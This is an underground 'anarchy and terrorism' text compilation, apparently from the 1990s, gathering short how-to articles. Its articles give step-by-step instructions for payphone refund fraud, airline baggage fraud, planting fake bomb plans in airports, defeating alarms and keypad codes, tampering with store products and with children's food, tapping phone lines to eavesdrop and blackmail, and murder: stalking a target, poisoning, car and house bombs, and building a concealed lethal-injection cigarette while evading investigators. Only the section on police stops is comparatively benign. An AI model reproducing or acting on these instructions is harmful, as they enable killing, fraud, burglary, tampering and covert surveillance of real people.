Introduction

	

	Greetings:  This is your editor speaking to you!  Yes, you, the person(s) reading this work.  To protect myself by law, I am informing you that this book is being brought to you for educational and research purposes only.  You might ask why someone would publish a book filled with such collections of street terrorism and anarchy that it would inspire youths everywhere to overthrow the authority figures?  Well, the reason is simple:  To illustrate what any youth in America can be trained to do.  Make no mistake about it, there are many manuals like this, containing the same information, so why not one more?



	I hope you enjoy this manual, but please realize that all of the articles contained in the pages within carry legal implications to them.  What this means is:  No info crimes are being committed by publishing this book or by providing this information for educational and research purposes only.  However, by partaking in any activity described herein you accept full responsibility.  The editor, me: Red Phaze, cannot be held responsible for any loss of life, limb, property, time spent incarcerated, or deportation on the grounds of treason.  By reading this and accepting it you release me, the editor: Red Phaze from any responsibility.  If you do not accept responsibility then delete this file or burn your printed copy.  



	Now that the disclaimer is out of the way...here rolls the important information.

	

	This is the thrid edition of Volume 1 of  The INCTek Guide to Street Anarchy & Terrorism.  Some of you may be wondering about the contents of this manual looking extremly similar to the one that Jaden Ice Lee used to put out.  Well, it is an improvement on that manaul for one simple reason, he stole it from me.  I used to work for him, and when I finished this project last time, he decided to just go ahead and put his name on all of the work that I had done.  Well, you know what “Fuck him!”  Now, I am off doing my own thing without him.  So, here you go another edition with better information in it.  



	Why I am I releasing this volume again?  Well, it has the time old classics in it, as well as some “new material.”  I think that the basics have to be continually shared with the hacking, phreaking, anarchy
, and underground
 community, but you also have to include new material from time to time.  So, that’s what this is:  A collection of the classics and wonderful new material.	



	So to all of you who logged complaints and begged for an updated volume: Here it is

If you have any advice, comments, complaints, or suggestions or have an article you would like to summit, or just generally want to bitch, moan, chat or complain email me at: redphaze@biosys.net

	

	Plus check my site for all kinds of great stuff at http://members.xoom.com/redphaze



Sincerely.

The Editor



Red Phaze




New In this Volume



	Well, what you are looking at is a very long reworked third volume of my brain child. 

What is new in this edition is that it has 
107
 files in it, compared to the 77 files in edition two.  What this means is that there has been a 
71.9%
 increase in overall content.



	With the new edition, if you have any problems with these files, such as not wanting them in the future editions, then contact me.  You the reader is who I do this for, think of it as your magazine.  Also, if you discover that either: 





	A) Something absolutely does not work via my directions or 

	B) Materials for something are no longer readily available, then contact me and let me know.  However, do not contact me to explain anything further or ask me to simplify the directions any further.  My 12 year old nephew was able to perform EVERYTHING in this manual so if you can’t then quit the world of anarchy and take up knitting.  



	Like I said in the introduction, if you have a file you would like to summit, then email it to me.  Please do not take credit for someone else’s work.  Please include their name in the file.  If you notice, your name will appear as “Courtesy of” if it is not your own work.  I believe in crediting the original authors.  



	Now, in order to clarify a few things.  Contained in this edition are many reference to files that contain my name included with a Courtesy of:  If you are the author of one of these files, then please contact me.  I had some idiot rummaging though my zips on my computer and they got deleted.  Therefore all the author credit files were deleted.  When I was coping in the files, I was taking in the main text hoping to include the BY: lines later in time.  

	

	So, to anyone who write one of the files that comes to this edition courtesy of: me.  I do apologize for allowing your authoring information to be lost.  If you contact me, I will publish your name along with the file the next time your file appears in this compilations.



	If you want to summit some of your work for the next edition, please check Appendix C:  Submissions for the specifics on submitting your work.  	




Note:  This edition was completed on time, in fact in was completed one day early, which for doing all the reasearch, typing, editing, and compliing myself, is pretty amazing.  
I
 am planning a release of ethier Volume 1 Edition 4, or Vol
ume 2 Edition 1 for the end of November.  Many of you may think this is a long time between publications, however, when you think that 
I
 have to do it all myself, it really isn
’t.  So, see you in the next edition.





Now:  Turn the page to a new concise edition of The INCTek Guide to Street Anarchy & Terrorism


















$30 a day from AT&T  By: Tesla



	You can earn $30 per day from the local BELL payphone and AT&T will be the ones paying it.  AND even if you get caught, which you won't, there is nothing that can be done, thanks to the FCC and AT&T's current illegal monopoly on DIAL-1 calls from Bell Pay Telephones. 



	This article was written in retaliation for Federal Criminal Court Case #93-133 in the US District Court of Western Pennsylvania titled, "USA vs Keith Maydak Et AL"  This case is based on fraudulent and false claims by AT&T.  We will not tolerate this.  Be advised, Keith Maydak does not condone stealing from AT&T nor has he authorized this notation.   We have taken it upon ourselves to spread the word that AT&T is a giant rip-off.  



	It's all part of the I-SCAM!  The AT&T I-SCAM.  I is for IDIOT. Idiot=anyone who has AT&T for dial-1 long distance.



	Okay, I don't know if you know this, but AT&T is the long-distance carrier at all GTE, BELL, and ALLTEL pay telephones when it comes to DIAL-1 CALLS.  Even if you dial 10222(MCI)+1+ACN, AT&T gets paid for the call.  Even if the phone says MCI, its still AT&T.  This is due to, "technical limitations on coin telephones"  



	Hello!  AT&T Built the goddamn system, why can’t they change it?



	They could, they won't, why should they?  They build the ESS Switch!  Why should they make it so DIAL 1 can be accessed by all.  Enough let's learn how to get money.



	Okay, dial this from your local pay station:  011-871-1101101# The Operator will come on confused and say something like, "$32.70 please" or "what are you calling"  If she doesn't tell you the rate, ask her.



	It's usually anywhere from $28.50 to $33.00 depending on where you are.  Why so much?  It's a boat.  And this is the rate.



Now Hang Up!



	Now, call 10288-0 wait for the operator.  Ask for a supervisor.  

NOTE:  You don’t have to, but the regular operator will just listen to your story and put her supervisor on, so just do it this way.



AT&T:  Service assistant, may I help you?

YOU:  Yes, this is absurd.  I called this number and the AT&T operator said it was $32.00 (or whatever the rate is).  She made me put $3.00 in at a time and then connected the call.  Right after the call answered the party was disconnected.  I didn't get my money back.

AT&T:  Umm, yeah, right.  What number did you dial

YOU:  011-871-1101-101 Check the rate.

AT&T:  <<Shocked>> Okay sir, we'll mail you a refund, what is your name and address?

YOU:  Name & address (go ahead, don't be shy, they'll mail your money, they have to, FCC Rules Section 47 of US code)



Do this daily from different pay stations.



Problems:

  

	Okay, AT&T operators are all mean and will give you shit.  You need to be prepared to answer some questions.



AT&T:  We don't have a call that much, are you sure it was AT&T?

YOU:  Yes, it says, "AT&T" they operator said, "AT&T may I help you."



AT&T:  I can't make a check that high.  (she's right)

YOU:  Can you send two checks for $15 each (that she can do)



AT&T:  Where did you get all the change?

YOU:  I don't like being called a liar, what was your name again?  The store here had no problem giving it to me!  This is absurd.



AT&T:  I talked to you yesterday.

YOU:  Yes, it happened yesterday too.



AT&T:  We'll send a man out to check the payphone.

YOU:  Good.  That's a good idea.  In the mean time, can you put in for my refund?  (they can't send a man, it ain't there phone)



AT&T:  I requested a refund, but they will look into it.

YOU:  I hope they do.  (they won't)



Notes:  

	Always get her operator number.

	If you don't get your $30.00 bitch.  Even go to the FCC.

	Some operators just don't put in for it.

	We have done this over 300 times for a profit of $10,000.

	Nearly 90% send your money especially if you are pissed.

	AT&T issues over 10,000 refunds per week and it's all automatic.  Do not worry about them adding this all up.



        	There's nothing they can do.  They can't accuse you of lying, they could be sued.  It has never happened, but if it does, remember:  

         

        		1.  They have no clue how much money is in the payphone

		2.  It ain't there phone

        		3.  They are required to send the refund by law

        		4.  The only people who ever get busted are those who admit shit; why do you think Feds and cops always tell you they have evidence you better talk.  If they had enough to convict you, they wouldn't want you to talk.



            However, this works fine everytime.



	And, don't feel bad.  AT&T does not deserve to profit from payphones.

They are theives.  Scamming crooks. They have an illegal monopoly on pay telephones!







Airlines  By: Exodus



	Did an airline ever lose your luggage?



	Arrange to have a friend meet you at the terminal gate when you de-plane.  Give your friend your baggage claim checks and have him retrieve your bags from the carousel, then leave the baggage area with your bags.  Before your friend leaves the airport with your luggage, be sure to get your claim checks back.  Then, saunter over to the baggage area and spend half an hour waiting for your bags.  Ask some clerks to help you, then report your “missing luggage, showing your claim checks as proof.  Very few flights ever have a clerk actually check the baggage and collect claim checks.  It is foolish, but they don’t .  Make a polite, but firm, scene and demand satisfaction.  Normally, the airline people will have you fill out a form and they will attempt to find your luggage.  Obviously, the won’t.  Bug them some, write them letters.  Soon, you should get a good settlement from the airline.  Don’t try to pull this one on the same airline more than once!



OR	



	Leave accurate-looking, but totally bogus hijack scenario plans, bomb diagrams, or order of battle for terrorist attacks in airport bars and rest rooms.  This fires up both the rent-a-cops and the real security people.  The security delays and resultant hassles with passengers create unhappy people who are angry at airports and airlines.



Ajax Bomb By: Vortex



	 This bomb is virtually harmless to you unless you breath in to  much of the Ajax powder.  Take a glass jar about the size of a pickle jar. Fill it about two thirds of the way with Ajax.  Make sure the lid is on  nice and tight.  Then all you have to do is throw it against something hard enough to brake it and poof!



Alarms and Security Keypads  By: Ranger Rocker & Red Phaze



	We all know what an alarm is, it is the thing that keeps us from being to rob any place that we choose.  Up until this point, it has been very difficult to come across a good article on how to bypass an alarm or to bypass a security keypad.  However, those days are over.  Here is the first good way to bypass these pesky things.



	If the alarm is one of the old fashion kind where a loud bell or horn rings to draw attention to the location you are at then you can simply fill the horn or bell with polyurethane foam in a can to silence them.  You can purchase this at any hardware store as insulation.  It is easy to handle and dries faster.  Once the foam is in place the bell or horn will not be able to produce sound and so the security system may still be active, but nothing comes of it.



	Some high-security installations use keypads just like touch-tone pads (a registered trade mark of bell systems) to open locks or disarm alarms.  Most use three or four digits.  To figure out the code, wipe the key-pad free from all fingerprints by using a rag soaked in rubbing alcohol.  After the keypad has been used just apply finger print dust and all four digits will be marked. Now all you have to do is figure out the order. 



	The best way to figure out the order is to look for some sort of pattern.  Following the following examples you should be able to ascertain what the combo is:

			7		8		9

			4		5		6

			1		2		3

			*		0		#

	Usually there will be four different number like 7,5,3,0.  If those happened to be the four numbers than the obvious pattern would be 7,5,3,0 because they form a line diagonal.  The same hold true for the patters like 9,5,1,0.  There is almost always a pattern to the way that the

owner of the system has used to make it easier to remember.  



	Two things you have to look out for.  The first is that you can only have so many wrong inputs before the system triggers.  Also, sometimes even though you may disarm the system, after a certain number of wrong answers a rent-a-cop will come by to make sure everything is OK.  The second thing is that after you dust for prints you may only find 3 numbers.  However, the combo may be 4 numbers with one repeating.  If this is the case, then you might as well forget this method because there are far too many options.  With 4 numbers, each being used once there are 24 different combinations.  Follow the example using the numbers 1,2,3,4



1 2 3 4 		2 1 3 4		3 1 2 4		4 1 2 3 

1 2 4 3 		2 1 4 3		3 1 4 2		4 1 3 2

1 3 2 4		2 3 1 4		3 2 1 4		4 2 1 3

1 3 4 2		2 3 4 1		3 2 4 1		4 2 3 1

1 4 2 3 		2 4 1 3		3 4 1 2		4 3 1 2

1 4 3 2 		2 4 3 1		3 4 2 1 		4 3 2 1



	However, if there only 3 number in a four pin combination the amount of different combos jumps from 24 to 33.  For an explanation follow the example using numbers 0,1,2



0 0 1 2		1 1 0 2		2 2 1 0

0 0 2 1		1 1 2 0		2 2 0 1

0 1 0 2		1 0 1 2		2 1 2 0

0 1 2 0		1 0 2 1		2 1 0 2

0 2 0 1 		1 2 1 0		2 0 2 1

0 2 1 0		1 2 0 1		2 0 1 2

1 0 0 2		0 1 1 2		1 2 2 0

1 0 2 0		0 1 2 1		1 2 0 2

1 2 0 0		0 2 1 1		1 0 2 2 

2 0 0 1		2 1 1 0		0 2 2 1

2 1 0 0 		2 0 1 1		0 1 2 2

	

	If you want to have some fun with a keypad, try pressing the * and # at the same time.  many units use this as a panic button. This will bring the owner and the cops running and ever-one will have a good time.  



Note:  Never try to remove these panels from the wall, as they have built-in tamper switches.











Alka-Seltzer  By: Uncle Wiggly



The Asshole Next Door:  During the night (or when they're not home) take 10 packs of the old Alka-seltzer and drop it down his hose, then fill the open end up with glue (a caulking gun works best). Then wait till he tries to water his lawn and watch the hose explode in his face.  Break up the Alka-seltzer and sprinkle it all over his lawn. Feed it to his dog. (It makes them fart bad) Put it in his gas tank of his car. The more you put in the better.



In the Supermarket:  Hide one in a Tampon.  Empty out a nose drop bottle. Then break the Seltzer up into dust size pieces, and put them in the bottle. Re-seal the bottle and put it back on the self. Put it in toothpaste.



In School:  Drop one in the fish tank in Biology. Shove some down the drain holes in the drinking fountain.  Place one in a hamburger during lunch. Drop it in somebody's project in chemistry. (You get some strange effects with this one!)



At the park:  Feed alka-seltzer to a seagull and watch them explode.  Give it to little children and tell them it's candy.



Armor, Home Made By: Necross Sinister



	Something that happened to a friend of mine forced me to write this article and submit it for this issue. Namely, he and his girlfriend were assaulted by a group of skinheads. Most attacks by gangs or groups involve hands, feet, clubs and knives. With modern materials you reduce the effects of these attacks allowing you to escape or fight back. Heavy leather clothing offers some protection which can be augmented or replaced a number of ways. First, any sort of protection can be increased by adding studs or spikes which make less pleasant for those punching anyone wearing them. Studs and spikes also increase the damage that is inflicted when added to sleeves, gloves and boots.



	Extremely impact resistant armor can be made by wearing sports and/or dirt bike protective gear or screwing, riveting or epoxying the plates to jackets and or pants. (besides, it gives you that nifty, post-holocaust look. go ahead, make a fashion statement.) Pieces of sheet metal or plastic can also be shaped and attached to garments for protection, they can also be concealed by putting a second layer of material over them. 



	Another concept is wiring up studs or spikes as contacts for a stun gun. Plastic plates with openings can be more effective against stabbing attacks with heavy wire mesh attached. And finally, for protection against firearms bulletproof vests (bullet resistant - ed.) or material (kevlar -ed.) (ok, split hairs, but you're right in thinking there are those who don't realize the distinction-sin) is available through some gunshops and most military/paramilitary magazines such as Soldier of Fortune. 



Arrested, How to Avoid Getting Courtsey of Red Phaze



	The legal system in the US is one arm of the octopus we call "The System". It was designed by and is used for the benefit of those who control our society. It was not 

designed to protect the "rights" of those who oppose capitalism or business as usual.



	Because of various historical accidents, there are aspects of the law that, at least in theory, protect individual "liberties". The law presumes, however, that everyone knows what these protections are and if you don't know what they are, it is very easy to "waive" these rights. Therefore, in the interest of giving us all an equal chance when we're confronted by the cops, here are some thoughts on the law of police stops and searches.



	This article is based on how things are supposed to be "in theory". The reality is that police can and will do anything they want out on the street. And they won't hesitate to lie about it later on.



	But some cops are worse than others and a lot of them may treat you differently if they think you know your rights. The police depend on fear and intimidation to get what they 

want. Don't let them get away with more than they are allowed to because of fear.



	If you run into a really bad cop, talking back to him and standing up for your rights might get you beaten up or killed, so be careful about the realistic limits of "the law" and of your rights in America. Cops are perhaps the most dangerous members of our society, so be careful when 

you talk to them.



	David Simon, a reporter for the Baltimore Sun in his book Homicide, pp. 204-220, shows how cops "trick" the ignorant into waiving right after right. The basic strategy he writes about involves bombarding the subject with so many questions that s/he doesn't think to say "I want to talk to a lawyer and I don't want to answer any questions until I do." Simon reports that cops follow the letter of the law, ignoring the spirit. Thus a subject who says "Maybe I 

should get a lawyer" is met with the response, "Maybe you should." Similarly: "Those few with heart enough to ask whether they are under arrest are often answered with a question: "Why? Do you want to be?"-"No"-"Then sit the fuckdown".



	Cops are tricky. You have to be explicit in invoking your rights, otherwise you "waive" them.




Preliminaries




	First, make absolutely sure that you are in fact dealing with a bona-fide police officer; impersonation of police officers by criminals is an increasing problem. Ask for idenification from any non-uniformed person purporting to be a law enforcement officer.



	If, in a vehicle, you have any doubts as to whether the people attempting to stop you really are police (no flashing lightbar, no marked police car and/or no police uniforms or indentification) KEEP DRIVING at a safe speed to the nearest police or fire station, open gas station or service plaza.



	If it really is police there will be more police cars appearing very shortly once you don't stop after the initial request to pull over. You should stop immediately at the appearance of additional police cars.



	If it is actually the police attempting to stop you, they will not be pleased that you didn't stop immediately, but they should understand your behavior and not hold it against you if you then deal with them correctly.



	Always keep your hands in plain sight and your arms at your sides when dealing with a police officer. Make no sudden moves and speak in a level, calm voice. Be very polite and to the point; insults and invective may feel good, but can only make your situation (much) worse.



	If you are stopped in your car at night, pull completely off the road, turn off your engine, lock your doors, roll up all windows except the driver's window and trun on the overhead light. Have your license, registration, and proof of insurance out for the officer when he arrives at your vehicle. Your production of those items will be his first request during a normal traffic stop. Do not get out of your car unless told to.



	When a police officer stops you on the street, the law says that the stop will fall into one of 3 catagories: consensual contact, detention, or arrest. Which one you're in determines how badly they can fuck with you.



	At one end is a "consensual contact." This means that the officer comes up to you and says "can I speak with you?" If you say "yes", you have consented to have contact with the police. That is very bad. The result of such "consent" is that you won't have various "rights" under the constitution.




Contact




	ESPECIALLY if you think you may be guilty of something (you have a warrant out on you, you are carrying drugs, you just did something illegal), NEVER consent to talk to a police officer. This sounds backward. The normal impulse when confronted with a cop is to be polite and try to convince them that you aren't doing anything. If you follow such an impulse, you are unlikely to actually convince the officer and if the cop gets you on something, you won't be able to get out of it later on in court. Never voluntarily talk to the police!



	If you don't think you are guilty of anything, it still isn't a good idea to consensually talk to the cop. You never know how the conversation will end up. And if people figure "well, I'm not guilty of anything so I'll let the police stop me and ask me a few questions now and then" the police state will be on the march. Further, it will encourage the idea that people who don't want to talk to the police have something to hide.



	How do I avoid a consensual contact? If the cop asks, "Can I talk to you?" say something like "I'm sorry, I'm in a hurry and I don't have time to talk to you right now." If the cop insists, ask him "Are you detaining me? Am I free to leave?" Ask this several times to make sure the cop will have a hard time lying and saying you didn't mention it later on if you get to court. If it is really a consensual contact, the officer ought to let you go on your way if you ask to go. If you don't actually verbally ask to leave, the court will presume that you consented to whatever follows.




Detentions




	The next catagorie of police/citizen contact is called a detention. The police are only allowed to detain a citizen when there are "specific and articulable facts supporting suspicion" that you are involved in criminal activity. This means that they can't detain you on a "hunch".



	"Specific and articulable facts" (SAF) means that the police must have observed something about your behavior and character that links you with specific criminal activity. If the police detain you without SAF, the detention is illegal and whatever they obtain as a result of the detention (evidence or arrest) cannot be used against you in court.



	How does this all work in practice? Suppose the police stop you because it is late at night, you are walking around the city, "you look at them funny", look "strange" or are homeless or the wrong color.



	The officer says "Excuse me, may I talk to you?" You say alright. You have just consented to talk to the police. If the officer notices after talking to you for a while that you have spray paint on your finger or wheatpaste on your clothing, or notices a bulge in your coat, the officer can find cause to detain you and could eventually arrest you.



	If, however, you said "no, I have to go" the officer is suposed to let you go because he or she doesn't have SAF that you are involved in criminal activity just because you look funny and it's nighttime. The courts have found all of the facts mentioned above insufficient to justify a detention.



	If the cop says, "well, you can't go" or otherwise detains you, then if they do find reason to arrest you, you may be able to avoid the penalty because the original detention was illegal. If the officer detains you and finds nothing, you should complain to the city, the "police review commission" in your town (if there is one) and you should let COPWATCH know about what happened (510-548-0425).



	Often (except as noted below), when you start throwing around terms like "detention" and "specific and articulable facts" the cop is going to lay off. A lot of the police's power is intimidation and the public's ignorance.



	It is crucial that you let the officer know that you are not "consenting" to talk to him and the only way you will talk to him is if he detains you.



	There may be SAF in some circumstances. If you rob a bank wearing red pants and a string tie and are spotted 15 minutes later in those same clothes carrying a white money bag reported missing by the bank, the police will probably have SAF. There is nothing illegal about a police detention if they have SAF, but not just anything is a "specific and articulable fact" supporting suspicion that you are involved in criminal activity.



	The facts have to be very specific. A lot of "police harassment" situations ivolve the police stopping people because they "look wrong" and then going on "fishing expeditions" looking for a valid reason to arrest, which they didn't have at the beginning of the stop. Don't give the officer a chance to find anything out-Just Say "NO".



	What if the officer asks to search? More serious than consensual contact and detention is an arrest. For an arrest, the police need a high level of suspicion of your involvement in criminal activity. If you are arrested, the police can search you as part of the arrest.




Searches





	If the officer asks to search you without arresting you, you can say "no". The police have the right to search for weapons if they feel in danger of being attacked. They are not allowed to search people for other items. In a lot of cases the police ask to search someone and obtain "consent" to search. Even though the search isn't justified, it will be illegal because the citizen didn't object and therefore "consent" is presumed.



	If the officer asks to search you or any of your property, say no and ask if you are under arrest or if they have a warrant. If you aren't and they don't, tell them "I would rather not let you search." They may ask many times and seem to be acting with complete authority. Just Say No. You will not let them search you unless they arrest you or have a warrant, and you don't have a weapon.



	If they search anyway and find something, you may be able to escape the penalty later in court. If the cop is obeying the law, they should leave you alone. The fact that you refused to be searched does not make you more "suspicious" and give them an excuse to search.



	Of course as stated above, the police may ignore all of these laws and they may be less than polite and non-violent. When a cop gets out of control, deal with it carefully. But don't voluntarily consent to either a search or a detention.




Arrest




	Once you are under arrest, offer no physical resistance, volunteer nothing and answer no questions. Nothing you can say will prevent your being handcuffed and taken to the station for booking. Anything you say can be used as evidence against you in court. Resistance to handcuffing and any police actions/orders will get you an automatic "Resisting Arrest" charge as well as any number of injuries as the police use whatever force they deem necessary against you until you comply with their directions. Your only response to any interrogation from the moment that you are told that you are under arrest should be " I want a lawyer".



	Please remember that the cop has a gun. "Contempt of cop" is a serious crime in the eyes of many police officers.



	Those few with heart enough to ask whether they are under arrest are often answered with a question:



"Why? Do you want to be?"

>"No"

"Then sit the fuck down"



	The correct response to "Why?
 
Do you want to be?" is "you did not answer my question. Am I under arrest? If I am not I desire to leave now." That sharpens the point a little, but is still non-confrontational.



	The next round is to state that "Under the Constitution and the Bill of Rights of the United States, I am free to leave unless I am being detained or am under arrest. I desire to exercise those rights. I desire to leave now. May I leave?"





Assassination, The Art of  By: Jack The Ripper & Garbled User



Type One:  Death of a Friend

Part I:  The Beginning:



	OK.. So there’s this guy who stole your girlfriend, or beat up your little sister, or something to that effect. What goes through you mind first? Not why, not when, not if but rather how should I kill him?  How you say?   Well, In the next few parts I'll tell you, but before I do: Read This:



The Eleven Commandments of Revenge:  From  Screw unto Others By:  George Hayduke    



1 Thou shalt neither trust nor confide in anyone!

2 Thou shalt never use thine own telephone for revenge business!

3 Thou shalt not touch thine form of revenge!

4 Thou shalt become a garbage collector!

5 Thou shalt bide thy time before activating a revenge plot!

6 Thou shalt secure a "mail-drop" address in another city!

7 Thou shalt learn everything there is to learn about the victim!

8 Thou shalt pay cash all the time in a revenge plot!

9 Thou shalt trade with merchants who have never heard of you!

10 Thou shalt never threaten thy intended victim!

11 Thou shalt not leave evidence lying around, however circumstantial.



Part II:  The Hunt

   

	Well, you know his name...that's a start.  Now, as around about him. BE DISCREET!! Only ask close friends or just kinda slip it into a conversation. and sit back while people tell you all about him (especially his enemies!)



	Grab yourself a phone book. Hopefully, you have a rough idea where he lives

Look him up and try to narrow it down. 



Example: Your hunting down a kid named Ralph Norwieg. Well, look up Norwieg. WHAT?!! 30 entries. Hmm. he lives somewhere in Liverpool that leaves 10.  Now call em all, and ask for Ralph, you should end up with one or 2.  With luck you can figure out which is him just by his voice. Or a “poll”. "Excuse me, how many high school students live here?, and their names?" You know his Phone # and address.  Now start planning.



	Step I: The Lie



	Be real nice to him.  Make friends with him, tell him everything is forgiven. Have one of your friends threaten him, when they do: Jump in to "save the day". This will earn you his trust.



	Step II: The Plan



	Now. First you need to decide an assassination method. Hmm.. you could:

	       	-Poison his food

	       	-Blow his house up

	        	-Blow his car up

           		

	OK. Lets say you decide to poison his food.. Now, grab a vial of your favorite biotoxin, and eat lunch with him someday. Take him up to McDonalds.   Ask him "Tell me what you want, My treat., you just go find a table"  You order his shit, and when nobody is looking, dump the little vial (make sure it is a powerful poison. So that it does not take much to kill) onto his food.  Now. This is very important. Eat with him. make sure he gets the poisoned food (duh!) Don't act all jittery, or scared just act natural. Start a conversation even..  Sooner or later, the poison gets to him.. Now this is Very Important!  Say, no Yell “Oh My God!! Ralph? Ralph?" (start shaking his shoulder) "quick!  Somebody call an ambulance!!, RALPH speak to me!, Oh my God! He didn't deserve to die" 

	

	Make sure you show up at the funeral.. Cry alot bring lotsa flowers. The cops will never suspect you. Don’t brag about it! Ya gotta act like your best friend just died. You even show the slightest sign of  hatred towards him you’re toast,



	Don't like the poisoning idea eh? Well: What was next on that list? 



	Oh Yeah. Blow his house up.  First off Timing is Everything. You blow up his house while he's at school and well that's just stupid. Actually, the best thing to do is, call him up on the night of the bomb. Ask him if he's doing anything that night. Talk to him blah blah blah. Keep the putz on the phone till he goes to bed. Then begin your plan.



	Point A: The more people who know what your doing the bigger chance of a wimp out or a rat. Keep it to a FEW trusted friends. 3 is a MAXIMUM!



	Point B:  Hit about 2 am. Give yourself enough time to be a couple miles away 

when it goes off:  An alibi helps.



	That should do it. Basically, Plant the bomb in a way you know it will hit him. If his room is in the back of the house. Don't plant the bomb on the porch! Plant the devise as near to him as you possibly can! Even if it's enough explosives to blow up a city block. The only stupid assassin, is the one who is overconfident. Make sure you use a timer, you want an hour or two to get the hell away. Unless you intend to use a light bulb, or soda can or similar device. Follow these steps and the basic rules of non-stupidity (threats are DEFINITELY OUT!) and you will have done a good deed for society the destruction of  another dork.



	So the putz has a car eh? Well: this one is simple! Simply get yourself a nice fused explosive put it near the passenger area of the car tie the fuse around the exhaust manifold and when your unsuspecting target drives to school he will hit the sky halfway down the highway.





Type Two:  Selective Individual

Construction of a Lethal Injection Device 



Materials:



Deadly Toxin i.e. air, cyanide, etc... (no specifics are outlined)

Larger syringe if superimposition is needed.

5 cc or less size syringe with a 3/4 inch needle if unavailable superimpose.

a syringe that's body fits loosely in an emptied cigarette.

Super glue if superimposition is needed.

Cigarette Pack 100's preferably










Procedure:  Totally disassemble the syringe you will be working with the two parts. Mainly

Break the needle off of the larger syringe (skip if needle is 3/4's of an inch)  Now place glue around the base of the smaller syringes needle not much just a dab or two.  Place the larger needle over the smaller needle so that it extends it out to the full 3/4's of an inch.  Cut the length of the syringe (the body only not including the needle) down to 1 and 1/2 of an inch with a hacksaw so as to make a clean cut.  Now take the push stick or the handle of the syringe and cut off the tip of it, and cut the body down so that it is 1 and 1/2 inch's long.  What you should have now is a push stick that is 1 and 1/2 inches long and fits just inside the syringe which is 1 and 1/2 inches long, and a needle that is 3/4's of an inch long.  The whole contraption should be 3 and  3/4's of an inch enough to fit in a 100 cigarette easily.



Preparing the cigarette



1 Remove the filter from the cigarette by twisting it off, and then throw the long part of the cigarette away.  The paper should extend about 1/4 of an inch from the filter, and try not to rip it.  The paper normally extends a little bit naturally.



2 Take your tweezers and pick out the filter from the inside of the cigarette leaving a little bit about 1/4 inch of the filter to cover the end of the cigarette.



3 Now take another cigarette and tear off the long part, and empty out the tobacco saving it for later. 



4 Now you should have an empty hollow cigarette shell.  A bored out filter with 1/4 of an inch of the ending left on.

5 Now glue the long hollow part of the cigarette back to the filter and let it dry.



Arming the Contraption



1 Now place the toxin into the body of the syringe with the needle on it of course.

2 Place the push stick over it extended.

3 Place the setup into the cigarette with the back of the push stick touching the filter.  

4 Fill the remaining space of the cigarette with the leftover tobacco.



How to Use



1 Light the cigarette since the needle end will be filled with a good portion roughly 1 minute 15 seconds of burning tobacco. 



2 Walk by the victim and burn/inject him by pushing down on the filter of the armed cigarette.



3) The victim will think it was just a cigarette burn call you an idiot and walk away.



Tips



1 You might have to experiment with the lengths to get it just right.

2 Use less than 1 cc of toxin or the victim will notice that something funny is happening before he dies.

3 Test it before you use it.  Cigarettes are a dime a dozen.

4 Never throw it away near the site.

5 Destroy it after it's use since plastic melts this is easy then throw it in a gutter or a junkyard.

6 Be careful not to scrape yourself.

7 The burn will take care of the pain, so he/she shouldn't notice a thing.

8 There will most likely be an inquest especially when normal people just drop dead and die.

9 Try to use slow acting 15-30 minute toxins that are lethal in small doses.



Toxins for Use



	The Simplest toxin to use is air.  An air bubble in the brain causes death  and there is no way in hell a coroner can detect foul play unless he is  looking for it.  Not to mention there will be a burn blister over the injection hole, so it will not be noticed.



The Beige Box  Courtesy of The Jolly Roger



Introduction:  Have you ever wanted a lineman's head set? Surely every phreak has at least once considered the fun that he could have with one. After searching unlocked phone company trucks for months, we had an idea. We could build one. We did, and named it the "Beige Box" simply because that is the color of ours.  The beige box is simply a consumer lineman's head set, which is a  phone that can be attached to the outside of a person's house.  To fabricate a beige box, follow along.



Construction and Use:  The construction is very simple. First you must understand the concept of the device. In a modular jack, there are four wires. These are red, green, yellow, and black. For a single line telephone, however, only two matter: the red (ring) and green (tip). The yellow and the black are not necessary for this project. A lineman's head set has two clips on it: the ring and the tip. Take a modular jack and look at the bottom of it's casing. There

should be a gray jack with four wires  (red, green, yellow & black) leading out of it. To the end of the red wire attach a red alligator clip. To the end of the green wire attach a green alligator clip. The yellow and black wires can be removed, although I would only set them aside so

that you can use the modular jack in future projects. Now insert your telephone's modular plug into the modular jack. That's it. This particular model is nice because it is can be easily made, is inexpensive, uses common parts that are readily available, is small, is lightweight, and does not require the destruction of a phone.



Uses:  There are many uses for a Beige Box. However, before you can use it, you must know how to attach it to the output device. This device can be of any of Bell switching apparatus that include germinal sets (i.e. remote switching centers, bridging heads, cans, etc.). To open most Bell Telephone switching apparatus, you must have a 7/16 inch hex driver (or a good pair of needle nose pliers work also). This piece of equipment can be picked up at your local hardware store. With your hex driver (or pliers), turn the security bolt(s) approximately 1/8 of an inch counter-clockwise and open. If your output device is locked, then you must have some knowledge of destroying and/or picking locks.  However, we have never encountered a locked output device. Once you have opened your output device, you should see a mass of wires connected to terminals. On most output devices, the terminals should be labeled "T"




Note: I
if not labeled, it is usually on the left) and "R" (Ring -- if not labeled, usually on the right).

Remember: Ring - red - right. The "Three R's" -- a simple way to remember which is which. Now you must attach all the red alligator clip (Ring) to the "R" (Ring) terminal. Attach the green alligator clip (Tip) to the "T" (Tip) terminal.  



NOTE:  If instead of a dial tone you hear nothing, adjust the alligator clips so that they are not touching each other terminals. Also make sure they are firmly attached. By this time you should hear a dial tone. Dial ANI to find out the number you are using (you wouldn't want to use your own). 



Practical Applications:



	Eavesdropping

	Long distance, static free phone calls to friends

	Dialing direct to Alliance Teleconferencing (also no static)

	Fucking people over

	Bothering the operator at little risk to yourself

	Anything at all you want, since you are on an extension of that line.



Eavesdropping:  To be most effective, first attach the Beige Box then your phone. This

eliminates the static caused by connecting the box, therefore reducing the potential suspicion of your victim. When eavesdropping, it is always best to be neither seen nor heard. If you hear someone dialing out, do not panic; but rather hang up, wait, and pick up the receiver again. The person will either have hung up or tried to complete their call again. If the latter is true, then listen in, and perhaps you will find information worthy of blackmail!  If you would like to know who you are listening to, after dialing ANI, pull a CN/A on the number.



Long Distance:  This section is self explanatory, but don't forget to dial a "1" before

the NPA.



Dialing Direct to Alliance Teleconferencing:  Simply dial 0-700-456-1000 and you will get instructions from there.  I prefer this method over PBX's, since PBX's often have poor reception and are more difficult to come by. 



Fucking People Over:  This is a very large topic of discussion. Just by using the other topics

described, you can create a large phone bill for the person (they will not have to pay for it, but it will be a big hassle for them). In addition, since you are an extension of the person's line, you can leave your phone off the hook, and they will not be able to make or receive calls.  This can be extremely nasty because no one would expect the cause of the problem. 





Bothering the Operator:  This is also self explanatory and can provide hours of entertainment.

